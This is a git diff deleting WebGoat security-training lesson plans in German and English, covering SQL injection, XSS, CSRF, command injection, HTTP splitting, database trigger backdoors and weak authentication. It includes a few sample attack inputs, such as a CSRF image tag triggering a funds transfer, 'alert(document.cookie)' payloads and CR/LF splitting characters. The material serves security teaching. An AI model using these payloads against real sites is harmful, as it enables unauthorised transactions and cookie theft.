- -Man sollte Eingabedaten immer säubern, besonders diese die später als parameter für Betriebssystembefehle, Skripte -und Datenbankabfragen benutzt werden. Essentiell ist das für Inhalt der irgendwo in der Applikation permanent gespeichert -wird. Benutzer sollten nicht in der Lage sein eigene Inhalte zu hinterlassen, durch die andere Nutzer ungewünschte -Seiten oder Inhalte nachladen wenn der Inhalt betrachtet wird. - - -

Grundsätzliche(s) Ziel(e):

- -Hinterlassen Sie Inhalt der den Browser eines anderen Benutzers dazu bringt eine unerwünschte -Seite bzw. Inhalt anzuzeigen. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/WeakAuthenticationCookie.html b/src/main/webapp/lesson_plans/de/WeakAuthenticationCookie.html deleted file mode 100644 index 5475df32c..000000000 --- a/src/main/webapp/lesson_plans/de/WeakAuthenticationCookie.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Lehrplan: Einen Authentisierungs Cookie fa¨lschen

-
- -

Lehrinhalt:

- -Viele Webapplikationen erlauben es einem Benutzer sofort eingeloggt zu sein, sobald der Benutzer den richtigen Authentisierungs Cookie übergibt. -Manchmal kann der richtige Wert dieses Cookies geraten werden, wenn der Algorithmus zur Generierung dieser Cookies bekannt ist. -Der Cookie kann auch von dem Computer des Benutzers gestohlen werden indem andere Schwachstellen in seinem System ausgenutzt werden. -Mittels Cross Site Scripting (XSS) kann der Cookie auch abgefangen werden. -Diese Übung soll Sie auf das Thema der Authentisierungs Cookies aufmerksam machen und gibt Ihnen -die Möglichkeit die Authentisierungsmethode dieser Lektion zu überwinden. - - - -

Grundsätzliche(s) Ziel(e):

- - Es ist Ihre Aufgabe die Authentisierung zu umgehen. Melden Sie sich mit dem Benutzernamen "webgoat" und dem Passwort "webgoat" an - und schauen Sie was passiert. Sie können auch versuchen Sich mit aspect/aspect anzumelden. Wenn Sie den Authentisierungs Cookie verstehen, - versuchen Sie Ihre Identität zu "alice" zu wechseln. - - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/AccessControlMatrix.html b/src/main/webapp/lesson_plans/en/AccessControlMatrix.html deleted file mode 100644 index 576bf3b72..000000000 --- a/src/main/webapp/lesson_plans/en/AccessControlMatrix.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: Using an Access Control Matrix

-
-

Concept / Topic To Teach:

- -In a role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control scheme normally consists of two parts: role permission management and role assignment. A broken role-based access control scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow allow privilege escalation to an unauthorized role. -

General Goal(s):

-Each user is a member of a role that is allowed to access only certain resources. Your goal is to explore the access control rules that govern this site. Only the [Admin] group should have access to the 'Account Manager' resource. - diff --git a/src/main/webapp/lesson_plans/en/BackDoors.html b/src/main/webapp/lesson_plans/en/BackDoors.html deleted file mode 100644 index c4ac8a08a..000000000 --- a/src/main/webapp/lesson_plans/en/BackDoors.html +++ /dev/null @@ -1,23 +0,0 @@ -
-

Lesson Plan Title: How to Create Database Back Door Attacks.

-
- -

Concept / Topic To Teach:

-How to Create Database Back Door Attacks. -
-
-

-How the attacks works: -

-Databases are used usually as a backend for web applications. Also it is used as a media of storage. It can also -be used as a place to store a malicious activity such as a trigger. A trigger is called by the database management -system upon the execution of another database operation like insert, select, update or delete. An attacker for example -can create a trigger that would set his email address instead of every new user's email address. -
-

General Goal(s):

- -* Your goal should be to learn how you can exploit a vulnerable query to create a trigger.
-* You will not be able to actually create one in this lesson because the underlying database engine used with WebGoat doesn't support triggers.
-* Your login ID is 101. - - diff --git a/src/main/webapp/lesson_plans/en/BasicAuthentication.html b/src/main/webapp/lesson_plans/en/BasicAuthentication.html deleted file mode 100644 index 73a3c736d..000000000 --- a/src/main/webapp/lesson_plans/en/BasicAuthentication.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: Basic Authentication

-
-

Concept / Topic To Teach:

- -Basic Authentication is used to protect server side resources. The web server will send a 401 authentication request with the response for the requested resource. The client side browser will then prompt the user for a user name and password using a browser supplied dialog box. The browser will base64 encode the user name and password and send those credentials back to the web server. The web server will then validate the credentials and return the requested resource if the credentials are correct. These credentials are automatically resent for each page protected with this mechanism without requiring the user to enter their credentials again.
-

General Goal(s):

-For this lesson, your goal is to understand Basic Authentication and answer the questions below. - diff --git a/src/main/webapp/lesson_plans/en/BlindSqlInjection.html b/src/main/webapp/lesson_plans/en/BlindSqlInjection.html deleted file mode 100644 index 0ff76e32e..000000000 --- a/src/main/webapp/lesson_plans/en/BlindSqlInjection.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Lesson Plan Title: How to Perform Blind SQL Injection

-
- -

Concept / Topic To Teach:

- -SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack. -
-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of SQL injection.
-
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.
- - -

General Goal(s):

-The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.

Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122

The goal is to find the value of the first_name in table user_data for userid 15613. Put that name in the form to pass the lesson. diff --git a/src/main/webapp/lesson_plans/en/BufferOverflow.html b/src/main/webapp/lesson_plans/en/BufferOverflow.html deleted file mode 100644 index b25b4f944..000000000 --- a/src/main/webapp/lesson_plans/en/BufferOverflow.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Exploit Buffer Overflows

-
- -

Concept / Topic To Teach:

-How to Exploit Buffer Overflows. -

General Goal(s):

-This lesson needs a creator! - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/CSRF.html b/src/main/webapp/lesson_plans/en/CSRF.html deleted file mode 100644 index 594d049bd..000000000 --- a/src/main/webapp/lesson_plans/en/CSRF.html +++ /dev/null @@ -1,26 +0,0 @@ -
-

Lesson Plan Title: How to Perform Cross Site Request Forgery.

-
- -

Concept / Topic To Teach:

- This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks. -
-
-

-How the attacks works: -

-Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page that contains img links like the one below: - -
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
- -When the victim's browser attempts to render this page, it will issue a request to www.mybank.com to the transferFunds.do page with the specified parameters. The browser will think the link is to get an image, even though it actually is a funds transfer function. - -The request will include any cookies associated with the site. Therefore, if the user has authenticated to the site, and has either a permanent cookie or even a current session cookie, the site will have no way to distinguish this from a legitimate user request. - -In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, or any other function provided by the vulnerable website -
-

General Goal(s):

- -Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu.
Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. - - diff --git a/src/main/webapp/lesson_plans/en/ChallengeScreen.html b/src/main/webapp/lesson_plans/en/ChallengeScreen.html deleted file mode 100644 index b3d9b3321..000000000 --- a/src/main/webapp/lesson_plans/en/ChallengeScreen.html +++ /dev/null @@ -1,7 +0,0 @@ -
-

Lesson Plan Title: Putting it all together

-

-

Concept / Topic To Teach:

-This lesson creates a challenge that will help the student apply all that they have learned.
-General Goal(s):
-Display the secret message. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/ClientSideFiltering.html b/src/main/webapp/lesson_plans/en/ClientSideFiltering.html deleted file mode 100644 index 608c360e5..000000000 --- a/src/main/webapp/lesson_plans/en/ClientSideFiltering.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Lesson Plan Title: Client Side Filtering

-
-

Concept / Topic To Teach:

- -It is always a good practice to send to the client only information which they are supposed -to have access to. In this lesson, too much information is being sent to the client, creating -a serious access control problem. - -

General Goal(s):

-For this exercise, your mission is exploit the extraneous information being returned by the -server to discover information to which you should not have access. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/ClientSideValidation.html b/src/main/webapp/lesson_plans/en/ClientSideValidation.html deleted file mode 100644 index e712b6fb7..000000000 --- a/src/main/webapp/lesson_plans/en/ClientSideValidation.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Lesson Plan Title: Insecure Client Storage

-
-

Concept / Topic To Teach:

- -It is always a good practice to validate all input on the server side. Leaving the -mechanism for validation on the client side leaves it vulnerable to reverse -engineering. Remember, anything on the client side should not be -considered a secret. - -

General Goal(s):

-For this exercise, your mission is to discover a coupon code to receive an unintended -discount. Then, exploit the use of client side validation to submit an order with a -cost of zero. - diff --git a/src/main/webapp/lesson_plans/en/CommandInjection.html b/src/main/webapp/lesson_plans/en/CommandInjection.html deleted file mode 100644 index 1db97ab80..000000000 --- a/src/main/webapp/lesson_plans/en/CommandInjection.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Lesson Plan Title: How to Perform Command Injection

-
-

Concept / Topic To Teach:

- -Command  injection attacks represent a serious threat to any parameter-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.
-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of parameter injection.
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.
-Try to inject a command to the operating system. - -

General Goal(s):

-The user should be able to execute any command on the hosting OS. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/ConcurrencyCart.html b/src/main/webapp/lesson_plans/en/ConcurrencyCart.html deleted file mode 100644 index 4a2f44b75..000000000 --- a/src/main/webapp/lesson_plans/en/ConcurrencyCart.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - Lesson Plan - - - -
-

Lesson Plan Title: Shopping Cart Concurrency Flaw

-
- -

Concept / Topic To Teach:

- - Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe.  Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
- -

General Goal(s):

-For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price. -
- - diff --git a/src/main/webapp/lesson_plans/en/CrossSiteScripting.html b/src/main/webapp/lesson_plans/en/CrossSiteScripting.html deleted file mode 100644 index 1d2848f3c..000000000 --- a/src/main/webapp/lesson_plans/en/CrossSiteScripting.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

-
-

Concept / Topic To Teach:

- -It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
-XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. - -

General Goal(s):

-For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. -
- diff --git a/src/main/webapp/lesson_plans/en/CsrfPromptByPass.html b/src/main/webapp/lesson_plans/en/CsrfPromptByPass.html deleted file mode 100644 index 7a505f2ac..000000000 --- a/src/main/webapp/lesson_plans/en/CsrfPromptByPass.html +++ /dev/null @@ -1,33 +0,0 @@ -
-

Lesson Plan Title:CSRF User Prompt By-Pass


-
- -

Concept / Topic To Teach:

-This lesson teaches how to perform CSRF attacks that by-pass user confirmation prompts. -
-
-

-How the attacks works: -

-Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page -that contains a 'forged request' to execute commands with the victim's credentials. Prompting -a user to confirm or cancel the command might sound like a solution, but can be by-passed if -the prompt is scriptable. This lesson shows how to by-pass such a prompt by issuing another -forged request. This can also apply to a series of prompts such as a wizard or issuing multiple -unrelated forged requests.

- - -
-

General Goal(s):

- -Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple -malicious requests: the first to transfer funds, and the second a request to confirm the prompt -that the first request triggered. The URL should point to the CSRF lesson with an extra -parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the -left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever -receives this email and happens to be authenticated at that time will have his funds transferred. -When you think the attack is successful, refresh the page and you will find the green check on -the left hand side menu.
-Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. - - diff --git a/src/main/webapp/lesson_plans/en/CsrfTokenByPass.html b/src/main/webapp/lesson_plans/en/CsrfTokenByPass.html deleted file mode 100644 index b57ea6b83..000000000 --- a/src/main/webapp/lesson_plans/en/CsrfTokenByPass.html +++ /dev/null @@ -1,38 +0,0 @@ -
-

Lesson Plan Title:CSRF Token Prompt By-Pass


-
- -

Concept / Topic To Teach:

-This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks. -
-
-

-How the attacks works: -

-

-Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into -loading a page that contains a 'forged request' to execute commands with the -victim's credentials.

- -

Token-based request authentication mitigates these attacks. This technique -inserts tokens into pages that issue requests. These tokens are required to -complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses -this technique to help prevent CSRF attacks.

- -

However, this technique can be by-passed if CSS vulnerabilities exist on the same site. -Because of the same-origin browser policy, pages from the same domain can read content from -other pages from the same domain.

- -
-

General Goal(s):

- -Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious -request to transfer funds. To successfully complete you need to obtain a valid request token. -The page that presents the transfer funds form contains a valid request token. The URL for the -transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load -this page, read the token and append the token in a forged request to transferFunds. When you think -the attack is successful, refresh the page and you will find the green check on the left hand side menu.
-Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. - - - diff --git a/src/main/webapp/lesson_plans/en/DBCrossSiteScripting.html b/src/main/webapp/lesson_plans/en/DBCrossSiteScripting.html deleted file mode 100644 index a54fd9ab9..000000000 --- a/src/main/webapp/lesson_plans/en/DBCrossSiteScripting.html +++ /dev/null @@ -1,24 +0,0 @@ -
-

Lesson Plan Title: How to Perform Cross Site Scripting -(XSS)

-
-

Concept / Topic To Teach:

- -It is always a good practice to scrub all inputs, especially those -inputs that will later be used as parameters to OS commands, scripts, -and database queries. It is particularly important for content that will -be permanently stored somewhere. Users should not be able to create -message content that could cause another user to load an undesirable -page or undesirable content when the user's message is retrieved. -
-XSS can also occur when unvalidated user input is used in an HTTP -response. In a reflected XSS attack, an attacker can craft a URL with -the attack script and post it to another website, email it, or otherwise -get a victim to click on it. - -

General Goal(s):

-For this exercise, you will perform a stored XSS attack. -You will also implement code changes in the database to defeat -these attacks. -
- diff --git a/src/main/webapp/lesson_plans/en/DBSQLInjection.html b/src/main/webapp/lesson_plans/en/DBSQLInjection.html deleted file mode 100644 index 879a1b92e..000000000 --- a/src/main/webapp/lesson_plans/en/DBSQLInjection.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lesson Plan Title: How to Perform SQL Injection

-
-

Concept / Topic To Teach:

- -It is always a good practice to scrub all inputs, especially those -inputs that will later be used as parameters to OS commands, scripts, -and database queries. Users should not be able to alter the intent of -commands that are executed on the server, in many cases as a privileged user. - -

General Goal(s):

-For this exercise, you will perform a SQL Injection attack. -You will also implement code changes in the database to defeat -these attacks. -
- diff --git a/src/main/webapp/lesson_plans/en/DOMInjection.html b/src/main/webapp/lesson_plans/en/DOMInjection.html deleted file mode 100644 index 19c19ee0b..000000000 --- a/src/main/webapp/lesson_plans/en/DOMInjection.html +++ /dev/null @@ -1,23 +0,0 @@ -
-

Lesson Plan Title: How to Perform DOM Injection Attack.

-
- -

Concept / Topic To Teach:

-How to perform DOM injection attacks. -
-
-

-How the attacks works: -

-Some applications specially the ones that uses AJAX manipulates and updates the DOM -directly using javascript, DHTML and eval() method.
-An attacker may take advantage of that by intercepting the reply and try to inject some -javascript commands to exploit his attacks. -
-

General Goal(s):

- -* Your victim is a system that takes an activation key to allow you to use it.
-* Your goal should be to try to get to enable the activate button.
-* Take some time to see the HTML source in order to understand how the key validation process works.
- - diff --git a/src/main/webapp/lesson_plans/en/DOMXSS.html b/src/main/webapp/lesson_plans/en/DOMXSS.html deleted file mode 100644 index fb7008727..000000000 --- a/src/main/webapp/lesson_plans/en/DOMXSS.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Lesson Plan Title: DOM Based Cross Site Scripting (XSS)

-
-

Concept / Topic To Teach:

- -The Document Object Model (DOM) presents an interesting problem from -a security standpoint. It allows the content of a web page to be dynamically -modified, but that can be abused by attackers during a malicious code injection. XSS, -a type of malicious code injection, can occur when unvalidated user input is used directly -to modify the content of a page on the client side. - -

General Goal(s):

-For this exercise, your mission is to use this vulnerability to inject -malicious code into the DOM. Then in the last stage, you will correct -the flaws in the code to address the vulnerability. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/DOS_Login.html b/src/main/webapp/lesson_plans/en/DOS_Login.html deleted file mode 100644 index 941a89b49..000000000 --- a/src/main/webapp/lesson_plans/en/DOS_Login.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: Denial of Service from Multiple Logins

-
-

Concept / Topic To Teach:

- -Denial of service attacks are a major issue in web applications. If the end user cannot conduct business or perform the service offered by the web application, then both time and money is wasted. -

General Goal(s):

-This site allows a user to login multiple times. This site has a database connection pool that allows 2 connections. You must obtain a list of valid users and create a total of 3 logins. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/DangerousEval.html b/src/main/webapp/lesson_plans/en/DangerousEval.html deleted file mode 100644 index f6190530c..000000000 --- a/src/main/webapp/lesson_plans/en/DangerousEval.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Lesson Plan Title: Dangerous Use of Eval

-
-

Concept / Topic To Teach:

- -It is always a good practice to validate all input on the server side. XSS can occur -when unvalidated user input is reflected directly into an HTTP response. In this lesson, unvalidated -user-supplied data is used in conjunction with a Javascript eval() call. In a reflected -XSS attack, an attacker can craft a URL with the attack script and store it on another -website, email it, or otherwise trick a victim into clicking on it. - -

General Goal(s):

-For this exercise, your mission is to come up with some input which, when run through eval, -will execute a malicious script. In order to pass this lesson, you must 'alert()' document.cookie. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/Encoding.html b/src/main/webapp/lesson_plans/en/Encoding.html deleted file mode 100644 index fcba2ddac..000000000 --- a/src/main/webapp/lesson_plans/en/Encoding.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Peform Basic Encoding

-
-

Concept / Topic To Teach:

- -Different encoding schemes can be used in web applications for different reasons. - -

General Goal(s):

-This lesson will familiarize the user with different encoding schemes. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/FailOpenAuthentication.html b/src/main/webapp/lesson_plans/en/FailOpenAuthentication.html deleted file mode 100644 index 27a82e2cf..000000000 --- a/src/main/webapp/lesson_plans/en/FailOpenAuthentication.html +++ /dev/null @@ -1,10 +0,0 @@ -
-

Lesson Plan Title: How to Bypass Fail Open Authentication

-
- -

Concept / Topic To Teach:

- - This lesson presents the basics for understanding the "fail open" condition regarding authentication. The security term, “fail open” describes a behavior of a verification mechanism. This is when an error (i.e. unexpected exception) occurs during a verification method causing that method to evaluate to true. This is especially dangerous during login.
- -

General Goal(s):

- The user should be able to bypass the authentication check. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/ForcedBrowsing.html b/src/main/webapp/lesson_plans/en/ForcedBrowsing.html deleted file mode 100644 index 2bf4fa6a4..000000000 --- a/src/main/webapp/lesson_plans/en/ForcedBrowsing.html +++ /dev/null @@ -1,21 +0,0 @@ -
-

Lesson Plan Title: How to Perform Forced Browsing Attacks.

-
- -

Concept / Topic To Teach:

-How to Exploit Forced Browsing. -
-
-

-How the attacks works: -

-Forced browsing is a technique used by attackers to gain access to resources that are not referenced, but are nevertheless accessible. - -One technique is to manipulate the URL in the browser by deleting sections from the end until an unprotected directory is found -
-

General Goal(s):

- -* Your goal should be to try to guess the URL for the "config" interface.
-* The "config" URL is only available to the maintenance personnel.
-* The application doesn't check for horizontal privileges. - diff --git a/src/main/webapp/lesson_plans/en/ForgotPassword.html b/src/main/webapp/lesson_plans/en/ForgotPassword.html deleted file mode 100644 index 06b2feb2f..000000000 --- a/src/main/webapp/lesson_plans/en/ForgotPassword.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Exploit the Forgot Password Page

-
-

Concept / Topic To Teach:

- -Web applications frequently provide their users the ability to retrieve a forgotten password. Unfortunately, many web applications fail to implement the mechanism properly. The information required to verify the identity of the user is often overly simplistic. -

General Goal(s):

-Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the password of another user. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/HiddenFieldTampering.html b/src/main/webapp/lesson_plans/en/HiddenFieldTampering.html deleted file mode 100644 index dff0d945e..000000000 --- a/src/main/webapp/lesson_plans/en/HiddenFieldTampering.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Lesson Plan Title: How to Exploit Hidden Fields

-
-

Concept / Topic To Teach:

- -Developers will use hidden fields for tracking, login, pricing, etc.. information on a loaded page. While this is a convenient and easy mechanism for the developer, they often don't validate the information that is received from the hidden field. This lesson will teach the attacker to find and modify hidden fields to obtain a product for a price other than the price specified
- -

General Goal(s):

-The user should be able to exploit a hidden field to obtain a product at an incorrect price. - -Try to purchase the HDTV for less than the purchase price, if you have not done so already. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/HowToWork.html b/src/main/webapp/lesson_plans/en/HowToWork.html deleted file mode 100644 index d99f61dc2..000000000 --- a/src/main/webapp/lesson_plans/en/HowToWork.html +++ /dev/null @@ -1,68 +0,0 @@ - -

How To Work With WebGoat

-

-Welcome to a brief overview of WebGoat.
-

-

Environment Information

-

-WebGoat uses the Apache Tomcat server but can run in any application server. It is configured to run on -localhost although this can be easily changed, see the "Tomcat Configuration" section in the Introduction.

- -

The WebGoat Interface

-

-

-1. Lesson Categories in WebGoat. Click on a Category to see specific Lessons.
-2. This will show the underlying Java source code.
-3. This will show the complete solution of the selected lesson.
-4. This will show goals and objectives of the lesson.
-5. This will show technical hints to solve the lesson.
-6. This shows the HTTP request data
-7. If you want to restart a lesson you can use this link.

-

Solve The Lesson

-

-Always start with the lesson plan. Then try to solve the lesson and if necessary, -use the hints. The last hint is the solution text if applicable. If you cannot solve the lesson using the hints, you may view the -solution for complete details.

- -

Read And Edit Parameters/Cookies

-

-To read and edit parameters and cookies you need a local proxy like OWASP ZAP to intercept the HTTP request. - More information on ZAP can be found in the "Useful Tools" section in the Introduction. -

- -

Configuring new WebGoat users

-

-WebGoat uses spring-security.xml to configure users. -
-

-<!-- Authentication Manager -->
-<authentication-manager alias="authenticationManager">
-  <authentication-provider>
-    <user-service>
-      <user name="guest" password="guest" authorities="ROLE_WEBGOAT_USER" />
-      <user name="webgoat" password="webgoat" authorities="ROLE_WEBGOAT_ADMIN" />
-      <user name="server" password="server" authorities="ROLE_SERVER_ADMIN" />
-    </user-service>
-  </authentication-provider>
-</authentication-manager>  
-  
-

-

Adding Users

-

-Usually WebGoat only requires logging in with the user:guest and password:guest. - But maybe in laboratory you have made a setup with one server and a lot of -clients. In this case you might want to have a user for every client, - you will have to alter /WEB-INF/spring-security.xml to add additional users. We recommend not to use real passwords -as the passwords are stored in plain text in this file! -

-

Adding a new User

-

-Adding a user is straight forward. You can use the guest entry as an example. The added -users should have the same role as the guest user. The new user/password will not show on the login page. -Add lines like this to the /WEB-INF/spring-security.xml file: -

-
-<user name="guest2" password="guest2" authorities="ROLE_WEBGOAT_USER" />
-...
-
- diff --git a/src/main/webapp/lesson_plans/en/HtmlClues.html b/src/main/webapp/lesson_plans/en/HtmlClues.html deleted file mode 100644 index c0d81446c..000000000 --- a/src/main/webapp/lesson_plans/en/HtmlClues.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Lesson Plan Title: How to Discover Clues in the HTML

-
- -

Concept / Topic To Teach:

- - Developers are notorious for leaving statements like FIXME's, TODO's, Code Broken, Hack, etc... inside the source code.  Review the source code for any comments denoting  passwords, backdoors, or something doesn't work right.  - Below is an example of a forms based authentication form. Look for clues to help you log in. - -
-

General Goal(s):

-The user should be able to bypass the authentication check. diff --git a/src/main/webapp/lesson_plans/en/HttpBasics.html b/src/main/webapp/lesson_plans/en/HttpBasics.html deleted file mode 100644 index f3321f295..000000000 --- a/src/main/webapp/lesson_plans/en/HttpBasics.html +++ /dev/null @@ -1,27 +0,0 @@ -
-

Lesson Plan Title: Http Basics

-
- -

Concept / Topic To Teach:

- This lesson presents the basics for understanding the transfer of data between the browser and the web application.
-
-

-How HTTP works: -

-All HTTP transactions follow the same general format. Each client request and server response has three parts: the request or response line, a header section and the entity body. The client initiates a transaction as follows:
-
- The client contacts the server and sends a document request
-
-
-
    GET /index.html?param=value HTTP/1.0
- Next, the client sends optional header information to inform the server of its configuration and the document formats it will accept.
-
-
    User-Agent: Mozilla/4.06 Accept: image/gif,image/jpeg, */*
-After sending the request and headers, the client may send additional data. This data is mostly used by CGI programs using the POST method.
-

General Goal(s):

- -Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input and display it back to the user, illustrating the basics of handling an HTTP request. -

-The user should become familiar with the features of WebGoat by manipulating the above -buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code. You may also try using OWASP Zed Attack Proxy for the first time. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/HttpOnly.html b/src/main/webapp/lesson_plans/en/HttpOnly.html deleted file mode 100644 index aea12470c..000000000 --- a/src/main/webapp/lesson_plans/en/HttpOnly.html +++ /dev/null @@ -1,26 +0,0 @@ -
-

Lesson Plan Title: HttpOnly Test

-
-

Concept / Topic To Teach:

- -To help mitigate the cross site scripting threat, Microsoft has -introduced a new cookie attribute entitled 'HttpOnly.' If this flag is -set, then the browser should not allow client-side script to access the -cookie. Since the attribute is relatively new, several browsers neglect -to handle the new attribute properly. -

For a list of supported browsers see: OWASP HTTPOnly Support -

General Goal(s):

-The purpose of this lesson is to test whether your browser supports the -HTTPOnly cookie flag. Note the value of the -unique2u -cookie. If your browser supports HTTPOnly, and you enable it for a -cookie, client side code should NOT be able to read OR write to that -cookie, but the browser can still send its value to the server. Some -browsers only prevent client side read access, but don't prevent write -access. -
-
-With the HTTPOnly attribute turned on, type -"javascript:alert(document.cookie)" in the browser address bar. Notice -all cookies are displayed except the unique2u cookie. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/HttpSplitting.html b/src/main/webapp/lesson_plans/en/HttpSplitting.html deleted file mode 100644 index ac0906a93..000000000 --- a/src/main/webapp/lesson_plans/en/HttpSplitting.html +++ /dev/null @@ -1,34 +0,0 @@ -
-

Lesson Plan Title: How to Perform HTTP Splitting

-
- -

Concept / Topic To Teach:

- This lesson teaches how to perform HTTP Splitting attacks. -
-
-

-How the attack works: -

-

The attacker passes malicious code to the web server together with normal input. -A victim application will not be checking for CR (carriage return, also given by %0d or \r) -and LF (line feed, also given by %0a or \n) characters. These characters not only give attackers control -of the remaining headers and body of the response the application intends to send, -but they also allows them to create additional responses entirely under their control.

-

The effect of an HTTP Splitting attack is maximized when accompanied with a Cache Poisoning. The goal of -Cache Poisoning attack is to poison the cache of the victim by fooling the cache into believing that the page -hijacked using the HTTP splitting is an authentic version of the server's copy.

-

The attack works by using the HTTP Splitting attack plus adding the Last-Modified: header and setting it -to a future date. This forces the browser to send an incorrect If-Modified-Since request header on future requests. -Because of this, the server will always report that the (poisoned) page has not changed, and the victim's browser -will continue to display the attacked version of the page.

-

A sample of a 304 response is: -

HTTP/1.1 304 Not Modified
-Date: Fri, 30 Dec 2005 17:32:47 GMT
-

-
-

General Goal(s):

- -

This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.

-

Enter a language for the system to search by. You will notice that the application is redirecting your request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a) characters to exploit the attack. Your goal should be to force the server to send a 200 OK. If the screen changed as an effect to your attack, just go back to the homepage. After stage 2 is exploited successfully, you will find the green check in the left menu.

- - diff --git a/src/main/webapp/lesson_plans/en/InsecureLogin.html b/src/main/webapp/lesson_plans/en/InsecureLogin.html deleted file mode 100644 index a33256309..000000000 --- a/src/main/webapp/lesson_plans/en/InsecureLogin.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Lesson Plan Title: Insecure Login

-
-

Concept / Topic To Teach:

- -Sensitive data should never sent in plaintext! Often applications -switch to a secure connection after the authorization. An attacker -could just sniff the login and use the gathered information to -break into an account. A good webapplication always takes care of -encrypting sensitive data. -

General Goal(s):

-See how easy it is to sniff a password in plaintext.
